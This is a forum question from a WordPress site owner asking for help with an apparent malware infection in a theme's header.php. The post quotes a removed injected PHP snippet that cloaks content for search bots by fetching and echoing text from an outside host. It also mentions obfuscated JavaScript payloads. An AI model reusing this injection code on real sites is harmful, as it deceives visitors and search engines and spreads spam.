Is there a virus on wordpress? in header.php the title and some more text change. What files to watch?

Question

Malware

site on wordpress. For several days now, question marks have been formed in the header.php file of the theme in the title and in another paragraph instead of some letters. at first I thought the encoding was something, but no, it appears by itself, without editing.
the content manager says that she went to the site, and there she got a message that she won something (but this is not a fact, it's just possible that she mixed it up).
also in the specified file, approximately the following things are formed:
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?>
and sometimes there is a js script containing Function(String.fromCharCode) and a bunch of numbers
, there was also a code with the inclusion of a file with links to serial numbers on win10 and a new office - of course deleted. like this:
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, ' fd.langall.com/org112.txt ');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
echo $file_contents;
}